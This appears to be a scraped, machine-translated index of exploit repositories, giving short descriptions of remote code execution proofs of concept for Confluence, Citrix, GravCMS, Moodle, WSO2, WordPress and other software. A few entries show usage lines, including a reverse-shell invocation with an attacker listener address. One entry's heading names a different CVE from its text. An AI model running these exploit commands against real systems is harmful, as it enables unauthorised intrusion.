CVE-2022-26134

CVE-2022-26134 POC 説明 root@kitploit: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. POC 1. python3 confluence.py -u...

CVE-2021-41773-RCE

CVE-2021-41773-RCE...

CVE-2022-28219

CVE-2022-28219 ManageEngine ADAudit Plus ビルド 7060 に影響する CVE-2022-28219 の POC 技術分析 詳細は当社ブログをご覧ください: https://www.horizon3.ai/red-team-blog-cve-2022-28219 使用方法 root@kitploit: % python3 CVE-2022-28219.py -h usage: CVE-2022-28219.py -h -t TARGET -l LHOST -d DOMAIN -lhp HTTPPORT -lfp FTPPORT -f FILE -c...

CVE-2019-19781

CVE-2019-19781 Citrix Netscaler リモートコード実行...

CVE-2021-31166

CVE-2021-31166 説明 - CVE-2021-31166 の POC: Windows HTTP プロトコルスタックのリモートコード実行脆弱性 - antx によって 2021-09-27 に作成されました。 詳細 - ./trigger.gifPoc-Gif CVE 重要度 - attackComplexity: LOW - attackVector: NETWORK - availabilityImpact: HIGH - confidentialityImpact: HIGH - integrityImpact: HIGH -...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab 实验前提条件 演示应用来自：http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip Jboss 5.1.0.GA 来自 JBOSS 下载存档：https://repository.jboss.org/sourceforge/ Jdk-6u45-linux-x64 来自 JAVA...

CVE-2023-41425

CVE-2023-41425 説明 Wonder CMS バージョン3.2.0から3.4.2におけるクロスサイトスクリプティングの脆弱性により、リモート攻撃者がinstallModuleコンポーネントにアップロードされた細工されたスクリプトを介して任意のコードを実行できる可能性があります。 これはprodigiousMindによるオリジナルのエクスプロイトの修正版であり、外部インターネット接続に依存せずにエクスプロイト全体をローカルで提供できるように拡張されています。 もしあなたが途方に暮れていて、自転車に問題を見つけた場合に便利です... 注:...

CVE-2021-21425

CVE-2021-21425 - GravCMS 未認証RCE CVE-2021-21425 の改良版概念実証。これは GravCMS Custom command python3 exploit.py -t http://target -c "id" 例 root@kitploit: Get reverse shell on target python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444 Execute command python3 exploit.py -t http://grav.local:8080 -c...

cve-2020-8165-demo

CVE-2020-8165 デモ CVE-2020-8165 のもう一つのデモですが、大半のものより現実的な実装になっています。 背景 CVE-2020-8165 信頼されていないデータのデシリアライゼーションの脆弱性が rails 5.2.4.3、rails 6.0.3.1 に存在し、攻撃者が MemCacheStore および RedisCacheStore 内のユーザー指定オブジェクトをアンマーシャルできる可能性があり、結果として RCE につながる可能性があります。 参考文献 https://hackerone.com/reports/413388...

CVE-2020-13671-old

CVE-2020-13671 通过文件上传实现 RCE — Drupal 核心 软件： Drupal Core 8.7.5（受影响版本：7.x 7.78、8.x 8.8.11、8.9.x 8.9.9、9.0.x 9.0.8） CVSS： 8.8（高危） CWE： CWE-434 — 危险类型文件的无限制上传 CISA KEV： 是 — 已知被利用漏洞 公告： SA-CORE-2020-012 什么是 Drupal Drupal 是一个用 PHP 编写的开源内容管理系统（CMS），与 WordPress 或 Joomla 类似，但更倾向于构建更复杂的系统——企业级网站、多语言平台。Drup...

CVE-2026-55200

CVE-2026-55200 - 重大な libssh2 リモートコード実行脆弱性 libssh2 における重大な認証前メモリ破損脆弱性 概要...

Moodle-authenticated-RCE

Moodle 4.4.0 - 認証済みリモートコード実行 CVE-2024-43425 エクスプロイト CVE: CVE-2024-43425 影響を受けるバージョン Moodle 4.4 ～ 4.4.1 Moodle 4.3 ～ 4.3.5 Moodle 4.2 ～ 4.2.8 Moodle 4.1 ～ 4.1.11 説明 このエクスプロイトは、上記にリストされたMoodleバージョンにおける認証済みリモートコード実行（RCE）脆弱性を標的としています。これにより、有効な認証情報を持つ攻撃者が、安全でない問題バンク編集機能を悪用して、サーバー上で任意のコマンドを実行できるようになります...

CVE-2019-20224

CVE-2019-20224 Pandora v7.0NG の認証後リモートコード実行（CVE-2019-20224）用の公式エクスプロイト...

CVE-Exploitation-Reports

CVE-Exploitation-Reports CVE エクスプロイトレポート: CVE-2007-3280、CVE-2017-0144、CVE-2019-0708 このリポジトリには、以下の Common Vulnerabilities and Exposures CVE に関する詳細なエクスプロイトレポートが含まれています。 CVE-2007-3280: RealPlayer ActiveX コントロールにおけるバッファオーバーフローの脆弱性で、細工された URL を介してリモートの攻撃者が任意のコードを実行できる可能性があります。 CVE-2017-0144: EternalBl...

0-click-RCE-Exploit-for-CVE-2024-10924

CVE-2024-10924 / 认证绕过（2FA）到 RCE 的漏洞利用 作者：Joshua Provoste https://x.com/JoshuaProvoste/status/1859061671852909055 本仓库包含 CVE-2024-10924 的概念验证（PoC）漏洞利用代码，该漏洞是 Really Simple Security WordPress 插件中的一个认证与 2FA 绕过漏洞，可被利用来实现远程命令执行（RCE）。 脚本功能 该脚本利用认证绕过漏洞来冒充管理员，获取所需的 nonce，上传恶意插件，验证已部署的载荷，检测目标操作系统，并提供交互式远程...

react2shell

React2Shell: React Server Components 中的 RCE 0-day CVE-2025-55182 React and CVE-2025-66478 Next.js 本仓库仅包含用于授权安全测试和教育目的的漏洞利用代码。 另请参阅： 多位研究人员已发布对此漏洞的分析。请查阅参考资料部分，获取更多攻击技术、检测方法及分析视角。 这是什么？ 2025年12月3日（星期三），React Server Components 中一个严重的远程代码执行漏洞被公开披露。该漏洞被命名为“React2Shell”，允许未认证攻击者通过发送单个 HTTP 请求，在运行受影响版本...

CVE-2020-0688

CVE-2020-0688 に対して脆弱な Exchange サーバーを特定する CVE-2020-0688 は、静的キーの使用が原因で Microsoft Exchange に存在する重大な脆弱性です。悪用には メールユーザーレベルの 有効な資格情報が必要であり、大量悪用のリスクは低いものの、この脆弱性は SYSTEM レベルの RCE につながるため、標的型攻撃で非常に有用となる可能性があります。 詳細情報: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688...

Monitorizer

Monitorizer 究極のサブドメインモニタリングフレームワーク インストール ❗ 免責事項 --- 管理者ユーザーはローカルサーバー上でコードを実行できます。デフォルトのパスワードを変更してください。そうしないと、自己責任で使用することになります Dockerを使用 root@kitploit: $ curl https://raw.githubusercontent.com/BitTheByte/Monitorizer/main/docker-compose.yml | docker compose -f - up デフォルトの認証情報:...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 のエクスプロイトと解説。 詳細 CVE-2022-29464 は WSO2 における重大な脆弱性であり、Orange Tsai 氏によって発見されました。この脆弱性は、認証なしで無制限に任意のファイルをアップロードできるもので、認証されていない攻撃者が悪意のある JSP ファイルをアップロードすることで WSO2 サーバー上で RCE を獲得できるようにします。 脆弱なアップロード経路は /fileupload であり、これは FileUploadServlet サーブレットによって処理されます。また、この経路...

CVE-2021-21983

CVE-2021-21975 VMware vRealize Operations vROps Manager API 任意文件写入导致远程代码执行（RCE） vRealize Operations vROps 是一款由 AI 驱动的自动驾驶 IT 运维管理工具，覆盖从应用到基础设施，可优化、规划和扩展 VMware Cloud 与 HCI 部署，同时统一公共云监控。VMware vRealize Operations Manager API 8.4 及所有之前版本 存在服务器端请求伪造（SSRF）漏洞。成功利用此漏洞可能导致读取或更新内部资源，此外，攻击者还可以轻松窃取 vROps...